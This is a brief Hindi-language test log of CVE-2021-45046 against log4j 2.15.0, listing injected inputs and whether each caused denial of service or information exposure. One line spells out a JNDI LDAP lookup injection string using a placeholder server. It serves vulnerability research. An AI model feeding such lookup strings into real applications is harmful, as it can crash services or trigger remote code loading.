cve-2021-45046

log4j RCE (CVE-2021-44228) को 2.15 में पैच किया गया था, लेकिन CVE-2021-45046 (DoS उत्पन्न करने वाली) भेद्यता नई खोजी गई है। नीचे परीक्षण के परिणाम दिए गए हैं।

[परीक्षण वातावरण] log4j-2.15.0 (api , core) JRE-1.8.0 jdk1.8.0_151 Eclipse IDE (Maven परियोजना)

1. Log4j RCE (CVE-2021-44228) सिंटैक्स परीक्षण -> Not Vuln

2. मनमाना ctx ऑब्जेक्ट नाम डालने पर -> Not vuln

3. context प्राप्त करने वाले ऑब्जेक्ट के समान नाम से डालने पर -> infinite loop से DoS उत्पन्न होता है

4. ${jndi:ldap://127.0.0.1#[ldap 서버 주소]} रूप में डालने पर -> UnknownHostException उत्पन्न होता है, DoS उत्पन्न नहीं होता

5. jndi:ldap://[ldap서버]#[ldap서버] रूप -> Not vuln

6. Java कोड डालने पर -> illegalArgmumentException से DoS उत्पन्न होता है

7-1. Java सिंटैक्स डालने पर -> System info exposure